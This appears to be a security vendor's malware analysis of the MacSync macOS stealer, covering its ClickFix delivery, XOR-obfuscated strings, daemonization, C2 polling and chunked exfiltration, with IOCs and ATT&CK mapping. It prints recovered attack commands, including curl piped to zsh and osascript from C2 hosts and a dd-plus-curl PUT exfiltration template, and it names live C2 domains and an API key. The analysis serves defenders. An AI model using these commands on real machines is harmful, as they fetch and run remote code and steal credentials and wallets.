Executive Summary
MacSync Stealer is a family of macOS information stealers and remote-access stagers designed to evade detection and sold commercially under a malware-as-a-service (MaaS) model.
In the attack chain, MacSync binaries are native stagers and multi-part exfiltration engines. Rather than standalone harvesters, the payloads are lightweight 64-bit Mach-O executables that detach silently from terminal sessions, load credential-dumping modules directly into memory, and reliably exfiltrate stolen credentials back to campaign infrastructure.
MacSync is delivered primarily through ClickFix social engineering and search engine malvertising. It uses a modular, multi-tier execution strategy to bypass Apple Gatekeeper, XProtect, and endpoint detection and response (EDR) tools while keeping a minimal footprint on disk.
- Stealth Session Daemonization: On execution, MacSync detaches from the controlling terminal session using POSIX fork() and setsid() system calls. It reparents to PID 1 (launchd) and redirects stdin, stdout, and stderr to /dev/null so error messages and process output do not appear in the console.
- Template-Based Single-Byte XOR Obfuscation: To evade static signatures and automated string extraction, MacSync binaries hide functional strings (including C2 endpoints, command-line arguments, API headers, and temporary file paths) using an inlined C++ template class (ObfuscatedString<N>). At runtime, the binary decrypts these strings into local stack buffers using single-byte XOR.
- In-Memory Dynamic AppleScript Pipeline: The stager avoids writing credential-dumping scripts to disk. Instead, it connects to C2 servers over HTTPS using custom headers (such as api-key: and campaign tokens) and pipes the response directly into /usr/bin/osascript via stdin. This allows attackers to update stealer payloads server-side without recompiling the client binar
- 10 MB Fault-Tolerant Chunked Exfiltration: To transfer large stolen archives (containing browser vaults, system Keychains, and cryptocurrency wallet databases), MacSync splits files into 10 MB chunks. It extracts each slice using the native dd utility and uploads them sequentially via HTTP PUT requests, using exponential backoff to retry failed transfers.
- Self-Cleaning Anti-Forensics: The stager promptly cleans up temporary files on disk. As soon as the C2 server returns an HTTP 200 response confirming the chunked upload, the malware deletes the local status file (/tmp/.httpcode) and the staged archive (/tmp/osalogging.zip).
Threat Actor Origins & Malware-as-a-Service (MaaS) Ecosystem
MacSync emerged in 2025, with public reporting linking it to the earlier Mac.C Stealer and the developer identity “Mentalpositive.” Threat intelligence tracks MacSync as a Malware-as-a-Service (MaaS) operation, providing the malware and supporting infrastructure to other cybercriminals.
Evidence shows a clear separation between malware development and campaign operations. MacSync builds often include deployment-specific identifiers, while campaigns rely on independently managed delivery setups and rotating backend infrastructure. CIS identified an s3 build tag linked to an affiliate build, and Microsoft later correlated more than 30 domains based on recurring URI paths, request characteristics, API-key headers, and exfiltration behavior.
MacSync distribution relies primarily on social engineering rather than software exploits. Campaigns deliver themalware through malvertising, SEO poisoning, compromised websites, fake software and AI installers, and ClickFix pages that trick victims into running commands in Terminal.
Although public research has identified Russian-language development artifacts in some MacSync samples, these markers are not enough to attribute the malware to a specific threat actor or criminal syndicate.
The associated infrastructure follows certain behavioral patterns that will still be applicable regardless of the rotation of domains. The behavior exhibited by MacSync sample and loader includes C2 requests made to /dynamic?txd=<token> with an API-key set in the header as well as collection of data done locally before uploading via /gate?buildtxd=<token> with upload_id, chunk_index, and total_chunks parameters.
Affiliated campaigns: ClickFix delivery
MacSync is frequently distributed through ClickFix campaigns targeting macOS users. Instead of exploiting software vulnerabilities, these attacks rely on social engineering to trick victims into copying and running commands in Terminal under the guise of software installers, CAPTCHA checks, download errors, or troubleshooting prompts.
While public reports describe multiple MacSync ClickFix campaigns with changing lures, delivery setups, and payloads, current evidence does not show that all of them belong to the same threat actor or that MacSync infrastructure operates directly under ClearFake.
The ClearFake / Traffic Distribution Network (TDS)
Affiliates deploy Traffic Distribution Systems (TDS), such as Keitaro TDS, across compromised websites and ad networks to route visitors based on their operating system. By checking the browser User-Agent, the TDS redirects Windows visitors to chains distributing LummaC2, Stealc, or Vidar, while sending macOS visitors to MacSync ClickFix infection funnels.
Social Engineering Lures & Brand Impersonations
MacSync campaigns impersonate popular productivity, messaging, and software development tools to target professionals:
| Impersonated Brand / Theme | Deceptive Lure Scenario | Target Demographic |
| Google Meet / Zoom | “Microphone/Audio Error: Click Fix to repair your macOS audio driver.” | Corporate remote workers, job candidates in interview scams |
| Claude AI / ChatGPT | “Download Claude AI Desktop for macOS / Fix WebSockets Connection.” | Software engineers, AI researchers, data scientists |
| Cloudflare / Turnstile | “Verify you are human: Open Terminal and paste verification code.” | General web traffic, crypto traders, forum users |
| Docker / Notion / Cursor | Poisoned Google Search Ads offering fake native desktop installers | Software developers, DevOps engineers, tech leads |
| TradingView / Crypto Apps | “Update your chart engine to view real-time market data.” | High-net-worth crypto traders, DeFi investors |
Global Geographic Telemetry & Industry Impact
Geographic Telemetry
Threat intelligence reports show that MacSync campaigns primarily target regions with widespread macOS enterprise use, tech and software development sectors, and active cryptocurrency or Web3 communities. August 2026 telemetry shows the United States accounting for the largest share of detections, followed by the United Kingdom, Germany, Japan, Canada, France, Singapore, Australia, India, and the Netherlands and Nordic countries.
Targeted Industry Sectors
| Industry Sector | Primary Target Roles | High-Value Assets | Threat Vector / Lure | Operational Impact |
| Software Engineering & Tech Startups | Full-Stack Developers, DevOps Engineers, AI Researchers | SSH private keys, AWS/GCP tokens, GitHub/GitLab credentials, .env files | Malvertising impersonating Claude AI, Cursor IDE, Docker Desktop, Notion | Cloud takeover, source-code theft, supply-chain compromise |
| Cryptocurrency & Web3 | Blockchain Developers, DeFi Traders, DAO Members, Fund Managers | MetaMask, Phantom, Coinbase, TronLink vault data; Exodus/Electrum wallet files | Fake Web3 meeting links, TradingView update lures | Wallet draining, unauthorized token transfers, smart-contract key theft |
| Corporate Remote Workforce | C-Suite, HR, Sales & Marketing | macOS Keychain data, Slack/Discord tokens, Google Workspace/Okta sessions | Fake Google Meet/Zoom microphone or camera fixes | Identity hijacking, session-cookie abuse, internal network pivoting |
| Government & Defense Contractors | SLTT staff and contractors | Government portal credentials, VPN profiles, employee credentials | Search-engine malvertising, compromised municipal websites | Unauthorized municipal access, sensitive citizen-data exposure |
| Fintech & Financial Services | Financial Analysts, Quant Traders, Accountants | Banking session tokens, accounting credentials, payment-card data | Fake invoice viewers, PDF-rendering “fixes” | Financial fraud, unauthorized corporate wire transfers |
MacSync Attack Chain
- Initial Infection (ClickFix Trick): The malware authors use malvertising on search engines where victims look for some software. They get on to the malicious web page (like fake Claude AI chatbot, Apple Security Update, Crypto Wallet Installer), which shows an error message asking the victim to execute a command in the Terminal window (curl -s … | zsh).
- Stage 1 (Shell Wrapper Script): The malicious script runs in the Terminal environment and right away launches the background process.
- Stage 2 (Base64 Payload): The wrapper script decompresses a background payload (daemon_function) that executes the native Mach-O binary stager (our sample: com.utils.Launcher).
- Stage 3 (Dynamic AppleScript Stealer): The binary makes a query to /dynamic?txd=… on C2 server with custom header (api-key: de62a2f4…) and directly pipes it into osascript. The AppleScript requests the user’s system password, steals all keychains data, and dumps databases, session cookies, SSH keys, Telegram session, and crypto wallets to /tmp/osalogging.zip.
- Stage 4 (RAT with Persistence): The payload executes another Mach-O RAT that persists using the ~/Library/LaunchAgents/ directory by renaming itself as com.google.keystone.plist or com.apple.sync.plist.
- Stage 5 (TCC Helper): Uses an ad-hoc signed helper program to request and capture permissions for macOS Screen Recording.
- Stage 6 (Exfiltration and Removal of Artifacts): This Mach-O program detects the existence of /tmp/osalogging.zip, breaks it down into chunks of 10 MB (0xA00000 bytes) using dd, sends the data using HTTP PUT to /gate?buildtxd=…, and deletes /tmp/osalogging.zip and /tmp/.httpcode.
Binary Execution Flow
The image below maps the complete runtime lifecycle of the MacSync stager binary from initial execution to final artifact cleanup.
File Identification & Static Metadata
Static File Properties
| Attribute | Static Value | Notes |
| File Name | 9ff32f7c0108e9d27a3b491edf04827b6ca025f44db68aeadc44eeb97c9aab11 | SHA-256 Hash Naming |
| File Format | Mach-O 64-bit x86_64 executable | Thin Binary (Single Architecture) |
| Mach-O Magic | 0xFEEDFACF (MH_MAGIC_64) | 64-bit Mach-O Header |
| CPU Type / Subtype | CPU_TYPE_X86_64 (0x01000007) / ALL (0x00000003) | Intel 64-bit Architecture |
| File Size | 38,800 bytes | 0x9790 bytes |
| MD5 | 9678f71ea4cccbc3d511dc8d7f24b113 | Cryptographic Hash |
| SHA-1 | 59508d071661ea70fa5fcbe6f9e2fb72506e57df | Cryptographic Hash |
| SHA-256 | 9ff32f7c0108e9d27a3b491edf04827b6ca025f44db68aeadc44eeb97c9aab11 | Primary Sample Hash |
| Compilation Flags | PIE, TWOLEVEL, BINDS_TO_WEAK, WEAK_DEFINES, NOUNDEFS | Position Independent Executable |
| Entry Point Address | 0x100000e30 (_main) | Section __TEXT.__text |
Code Signing Details
| Attribute | Value | Notes |
| Signature Status | Ad-hoc signed (flags=0x2(adhoc)) | No Apple-issued Developer ID signature |
| Signing Identifier | com.utils.Launcher | Embedded code-signing identifier |
| CDHash | d182eb7cba0ffa42d770d7b0d3499e49f24163a2 | Code Directory hash |
| CMSDigest | d182eb7cba0ffa42d770d7b0d3499e49f24163a2662494ae615713c5f04b5260 | Code-signing digest |
| TeamIdentifier | not set | No Apple Developer Team ID; indicates ad-hoc signing |
String Obfuscation & Key Recovery
Reverse Engineering of the Cryptographic Engine
A static strings analysis performed on the bare binary found no URLs, file paths, or command references in the clear. References to _main yielded 19 references to a C++ template class:
| Attribute | Value |
| Mangled Symbol | __ZNK16ObfuscatedStringILm…EE7decryptEv |
| Demangled Symbol | ObfuscatedString<N>::decrypt() const |
| Address Range | 0x100002350 – 0x100002740 |
Single byte xor key identified: 0xAA (Decimal: 170, Binary: 10101010).
In order to decrypt all encrypted byte strings without knowing any plaintext beforehand, the following standalone script is run:
Decryption program output
XOR String Decryption and Storage Layout & Storage Layout
Hardware XOR Operation (/tmp/.httpcode)
The following table shows the actual operations taking place within the CPU register ecx (xor ecx, 0xaa) for the status file path at 0x100002a2e
| Byte # | Encrypted Hex | XOR Key | Decrypted Hex | Character |
| 0 | 0x85 | 0xAA | 0x2F | / |
| 1 | 0xDE | 0xAA | 0x74 | t |
| 2 | 0xC7 | 0xAA | 0x6D | m |
| 3 | 0xDA | 0xAA | 0x70 | p |
| 4 | 0x85 | 0xAA | 0x2F | / |
| 5 | 0x84 | 0xAA | 0x2E | . |
| 6 | 0xC2 | 0xAA | 0x68 | h |
| 7 | 0xDE | 0xAA | 0x74 | t |
| 8 | 0xDE | 0xAA | 0x74 | t |
| 9 | 0xDA | 0xAA | 0x70 | p |
| 10 | 0xC9 | 0xAA | 0x63 | c |
| 11 | 0xC5 | 0xAA | 0x6F | o |
| 12 | 0xCE | 0xAA | 0x64 | d |
| 13 | 0xCF | 0xAA | 0x65 | e |
| 14 | 0xAA | 0xAA | 0x00 | \0 |
Path /tmp/osalogging.zip is constructed via stack literals and XOR decryption.
Reverse Engineering _main – Memory Layout & Daemonization
URL Construction / Endpoint Preparation The sample loads multiple URL related string fragments (e.g. https, http, asia., usa.) into local stack variables. It then allocates a 128 byte local buffer to build the string into. The presence of regional domain fragments and HTTP(S) schemes implies that network endpoints are constructed or selected at runtime, which limits the visibility of full URLs in static analysis.
Process Daemonization & Stream Cloaking (0x100000e30 – 0x100000f54)
- _Fork() Execution (0x100000e69): The parent process finishes cleanly by returning 0. It exits immediately giving control back to the terminal. At the time the child process gets reparented to launchd which runs with PID 1.
- _Setsid() Session Creation (0x100000eb7): The child process breaks away, from the controlling terminal. This step ensures the process is no longer tied to any session.
- Stream Suppression (0x100000efe – 0x100000f48): The child process redirects its input, standard output and standard error to /dev/null. This is done using three calls to _freopen(). Each call handles one of the streams effectively silencing any output or input activity.
Reverse Engineering _main – Dynamic C2 Polling & In-Memory AppleScript
Raw Binary Ninja High-Level IL Decompilation (0x100001070 – 0x100001300)
- 0xc8 in assembly is decimal 200 (HTTP 200 OK).
- sub_100001e20() holds the decrypted command template: curl -k -s –max-time 12 -H “User-Agent: %s” -H “api-key: %s” “%s” | osascript.
- The AppleScript is streamed directly from curl to osascript without an intermediate script file it is piped directly from curl into Apple’s /usr/bin/osascript binary via standard input.
Static Configuration Attributes:
| Attribute | Value |
| Campaign Token (txd) | c4f70f37daae63fe47b0c92adf006f8cf50b6c522ad572a4014275cf979013a0 |
| Gate Authentication Token | api-key: de62a2f47d1c7dec2997f931a050a615 |
| Primary Host | drivinguber.com |
| Fallback Host | newsinweb.com |
| Regional Prefixes | asia. / usa. |
Execution Pipeline Workflow
- Primary Health Probe (drivinguber.com):
- Status Evaluation: Reads /tmp/.httpcode via _fscanf(“%d”, &code) and unlinks /tmp/.httpcode.
- In-Memory Pipe Execution (0x10000128e): If code == 200 (0xC8), it formats and runs:
- Fallback Rotation: If primary fails, iterates across [https, http] [asia., usa.] with base newsinweb.com.
10MB Chunking Engine & System V ABI
- Target Verification: Calls _stat$INODE64(“/tmp/osalogging.zip” &stat_buf). If the file is not there or the size is zero it ends properly (return 0).
- Integer Ceiling Division Math:Total Chunks equals floor of (file_size plus 0x9FFFFF divided by 0xA00000) (Fixed chunk size is 0xA00000 which is 10,485,760 bytes or 10 MB).
- Session Identifier: Created using snprintf(upload_id, 0x40 “%ld-%08x” time(NULL) rand()).
Adaptive Backoff Retry Algorithm
Retries up to 8 times with adaptive backoff: Delay = (retry_index × 2) + 3 seconds (5s, 7s, 9s, 11s, 13s, 15s, 17s, 19s)
Shell Commands Executed via _system()
| # | Operation | Decrypted Format Template | Purpose |
| 1 | C2 Health Probe | curl -k -s –max-time 12 -H “User-Agent: %s” -H “api-key: %s” “%s” -o /dev/null -w “%%{http_code}” > %s 2>/dev/null | Checks C2 availability and stores the HTTP status code in /tmp/.httpcode. |
| 2 | Stage 3 In-Memory Stager | curl -k -s –max-time 12 -H “User-Agent: %s” -H “api-key: %s” “%s” | osascript | Downloads the remote AppleScript stealer and executes it through osascript. |
| 3 | Stage 6 Chunked Exfiltration | dd if=%s bs=1 skip=%ld count=%ld 2>/dev/null | curl -k -s -X PUT –data-binary @- … | Splits /tmp/osalogging.zip into 10 MB chunks and uploads each chunk via HTTP PUT. |
Native POSIX Process & File Operations
| # | Operation Type | Native API Call | Target | Operational Purpose |
| 6 | Process Fork | _fork() | N/A | Parent process exits immediately to detach from the terminal. |
| 7 | Session Detach | _setsid() | N/A | Creates a new detached session; child becomes an independent daemon. |
| 8 | Stream Cloaking | _freopen(“/dev/null”, “r”, *___stdinp) | /dev/null | Silences standard input. |
| 9 | Stream Cloaking | _freopen(“/dev/null”, “w”, *___stdoutp) | /dev/null | Silences standard output from curl and osascript. |
| 10 | Stream Cloaking | _freopen(“/dev/null”, “w”, *___stderrp) | /dev/null | Silences standard error to prevent terminal alerts. |
| 11 | File Verification | _stat$INODE64(“/tmp/osalogging.zip”, &stat_buf) | /tmp/osalogging.zip | Verifies the existence and size of the harvested data archive before upload. |
| 12 | Status Cleanup | _unlink(“/tmp/.httpcode”) | /tmp/.httpcode | Erases the temporary HTTP status-code file after evaluation. |
| 13 | Loot Archive Cleanup | _remove(“/tmp/osalogging.zip”) | /tmp/osalogging.zip | Erases the stolen-data ZIP archive after successful exfiltration. |
Indicators of Compromise (IOCs)
Host Indicators
| Indicator Type | Value | Description |
| SHA-256 Hash | 9ff32f7c0108e9d27a3b491edf04827b6ca025f44db68aeadc44eeb97c9aab11 | Native Mach-O Stager Binary |
| MD5 Hash | 9678f71ea4cccbc3d511dc8d7f24b113 | Native Mach-O Stager Binary |
| SHA-1 Hash | 59508d071661ea70fa5fcbe6f9e2fb72506e57df | Native Mach-O Stager Binary |
| Code Signing ID | com.utils.Launcher | Ad-hoc signature bundle identifier |
| CDHash | d182eb7cba0ffa42d770d7b0d3499e49f24163a2 | Code Directory Hash |
| Staged Archive | /tmp/osalogging.zip | Harvest archive containing stolen data |
| Status File | /tmp/.httpcode | Transient HTTP response code file |
Network Indicators
| Indicator Type | Value | Description |
| C2 Domain (Primary) | drivinguber.com | Primary Stage 3 / Stage 6 C2 server |
| C2 Domain (Fallback) | asia.newsinweb.com | Fallback Asian region C2 endpoint |
| C2 Domain (Fallback) | usa.newsinweb.com | Fallback US region C2 endpoint |
| C2 Root Domain | newsinweb.com | Fallback root domain |
| URI (Download) | /dynamic?txd=c4f70f37daae63fe47b0c92adf006f8cf50b6c522ad572a4014275cf979013a0 | Dynamic AppleScript payload gate |
| URI (Upload) | /gate?buildtxd=c4f70f37daae63fe47b0c92adf006f8cf50b6c522ad572a4014275cf979013a0 | 10 MB chunked binary PUT upload gate |
| HTTP Request Header | api-key: de62a2f47d1c7dec2997f931a050a615 | Campaign authentication token |
| HTTP User-Agent | Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) CFNetwork/Darwin 26.0.0 AppleWebKit/537.36 | Spoofed client User-Agent |
MITRE ATT&CK Mapping
| Tactic | Technique ID | Technique | MacSync Implementation |
| Initial Access | T1204.002 | User Execution | ClickFix lure tricks users into executing an obfuscated Terminal command. |
| Execution | T1059.002 | AppleScript | Executes remote AppleScript payloads via /usr/bin/osascript. |
| Execution | T1059.004 | Unix Shell | Executes /bin/sh commands. |
| Persistence | T1543.001 | Launch Agent | Installs a malicious .plist in ~/Library/LaunchAgents/. |
| Defense Evasion | T1027 | Obfuscation | XOR 0xAA conceals strings and URLs. |
| Defense Evasion | T1564.001 | Hidden Files | Uses dot-prefixed files for temporary data. |
| Defense Evasion | T1070.004 | File Deletion | Deletes temporary files after data upload. |
| Defense Evasion | T1036.005 | Masquerading | Uses com.utils.Launcher to resemble a legitimate component. |
| Defense Evasion | T1562.001 | Impair Defenses | Redirects stdin, stdout, and stderr to /dev/null. |
| Credential Access | T1555.001 | Keychain | Uses security dump-keychain to access stored credentials. |
| Credential Access | T1539 | Web Session Cookies | Targets browser cookie databases for session theft. |
| Credential Access | T1552.004 | Private Keys | Collects SSH keys and AWS credentials. |
| Discovery | T1082 | System Information | Collects macOS version, hardware UUID, and CPU architecture. |
| Collection | T1560.001 | Archive Collected Data | Archives stolen data into /tmp/osalogging.zip. |
| Command & Control | T1071.001 | Web Protocols | Communicates with C2 over HTTPS/443. |
| Command & Control | T1105 | Ingress Tool Transfer | Downloads second-stage AppleScript modules. |
| Exfiltration | T1030 | Data Transfer Size Limits | Splits archive into 10 MB chunks. |
| Exfiltration | T1048.003 | Alternative Protocol | Uploads binary chunks through HTTP PUT requests. |
Author:
